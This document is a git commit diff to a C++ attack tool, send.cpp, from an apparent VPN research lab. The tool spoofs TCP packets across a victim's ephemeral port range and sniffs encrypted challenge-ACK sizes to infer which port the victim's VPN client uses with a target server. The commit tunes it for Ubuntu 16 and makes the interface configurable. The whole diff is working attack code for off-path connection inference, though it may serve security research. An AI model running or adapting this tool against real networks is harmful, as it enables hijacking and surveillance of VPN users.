added client side attack env to virtual lab and server side tcp

client-side-attack/sec_phase/send.cpp

@@ -17,12 +17,12 @@ bool sniffed_chack = false;
 bool is_running = true;
 bool verbose = false;
 bool count_chacks = false;
-bool quick_mode = true; // if true we don't recheck the port
+bool quick_mode = false; // if true we don't recheck the port
 
 int num_sent = 0;
 string victim_wlan_addr;
 string remote_addr;
-
+string interface;
 
 
 void print_divider(int count) {
@@ -36,30 +36,30 @@ void print_divider(int count) {
 bool handle_packet(PDU &some_pdu) {
 
   const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
+
   // keep track of the last port we spoofed
   if (ip.src_addr() == remote_addr) current_spoof_port = some_pdu.rfind_pdu<TCP>().dport();
 
+
   if (ip.src_addr() == victim_wlan_addr) { // the packet is a response from the client
 
     const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
-    //cout << "sniffed something: " <<payload << "\n";
-    const int remainder = payload % 67; // 67 is the size of encrypted resets on ubuntu
+    const int remainder = payload % 99; // 99 is the size of encrypted resets on ubuntu 16
 
     if (remainder != 0) {
 
-      //cout << "\nsniffed something important - port : " << (current_spoof_port) << ", remainder : " << remainder << "\n";
+      //cout << "\nsniffed possible chack - port : " << (current_spoof_port) << ", remainder : " << remainder << "\n";
 
       // If it's not working as expected, uncomment the line above to
       // check what the typical remainder is looking like as it scans the
-      // port range. In this case, ubuntu 19, if you uncomment the line above
-      // it would repeatedly sniff 41 packets until the correct port, then it
-      // would sniff a 48 packet
+      // port range. In this case, on ubuntu 16, the encrypted RSTs have size 99
+      // compared to the encrypted ACKs that will be size 115 so we look for remainders
+      // of size 16
 
-      if (remainder != 41 && (remainder == 40 || remainder == 48)) { // the size of the remainder could change per OS 
+      if (remainder == 53 || remainder == 78 || remainder == 16) { // the size of the remainder could change per victim OS 
         if (verbose) cout << "sniffed chack - port : " << (current_spoof_port) << ", remainder : " << remainder <<", full size: " << payload << "\n";
 
         if (count_chacks) chack_count ++;
-        if (verbose) cout << "some other val: " << ((payload - 79) % 67) << "\n";
         if (!sniffed_chack) {
           sniffed_chack = true;
           best_port = current_spoof_port;
@@ -73,17 +73,20 @@ bool handle_packet(PDU &some_pdu) {
 void sniff_stuff() {
   SnifferConfiguration config;
   config.set_promisc_mode(true);
-  Sniffer sniffer("wlp1s0", config);
+  Sniffer sniffer(interface, config);
   sniffer.sniff_loop(handle_packet);
 }
 
 
-
+// Rechecks a potential matching port for the connection
+// and expects to see the same number of chall-acks 
+// triggered as num_checks
+//
 bool rechack(int num_checks, int possible_port, string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
 
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
   count_chacks = true;
   chack_count = 0;
 
@@ -124,10 +127,10 @@ bool rechack(int num_checks, int possible_port, string dest_mac, string src_mac,
 int phase_two_spread(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
 
-  int start_port = 39000;//32768; // typical Linux ephemeral port range - (32768, 61000)
-  int end_port = 42000;//61000;
+  int start_port = 32768; // typical Linux ephemeral port range - (32768, 61000)
+  int end_port = 61000;
   int i;
 
   EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(40404, sport);
@@ -152,8 +155,7 @@ int phase_two_spread(string dest_mac, string src_mac, string source_ip, int spor
 
   // In round 1 we spoofed fast (10 sleep) to get a good estimate of the
   // port in use. Round 2, we spoof slower from about 50 packets back to account
-  // for the delay in response and hopefully get the exact port number in use
-
+  // for the delay in response and hopefully get the exact port number in use.
   print_divider(1);
   usleep(1000000 / 2);
   sniffed_chack = false;
@@ -178,7 +180,9 @@ int phase_two_spread(string dest_mac, string src_mac, string source_ip, int spor
 }
 
 
-
+// Continually looks for a port in use by the victim VPN client
+// being used to communicate witht the target web server
+//
 int find_port(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
 
   bool is_found = false;
@@ -191,7 +195,7 @@ int find_port(string dest_mac, string src_mac, string source_ip, int sport, stri
 
     if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";
 
-    cout << current_port << "\n";
+    //cout << current_port << "\n";
 
     if (quick_mode) {
       is_found = true;
@@ -210,8 +214,8 @@ int find_port(string dest_mac, string src_mac, string source_ip, int sport, stri
 
 int main(int argc, char** argv) {
 
-  if (argc != 5 && argc != 6) {
-    cout << "sike wrong number of args ---> (remote_addr, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr)\n";
+  if (argc != 7) {
+    cout << "sike wrong number of args ---> (remote_addr, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, iface)\n";
     return 0;
   }
 
@@ -222,6 +226,8 @@ int main(int argc, char** argv) {
   //verbose = true;
 
   string dest_mac = argv[5];
+  interface = argv[6];
+
   string src_mac = "";
 
   print_divider(2);
@@ -231,7 +237,6 @@ int main(int argc, char** argv) {
   int p = find_port(dest_mac, src_mac, remote_addr, sport, dest_ip);
   is_running = false;
   sniff_thread.detach();
-  //sniff_thread.join();
 
   print_divider(1);
   if (verbose) cout << "Completed phase 2 with port: " << p << "\n\n";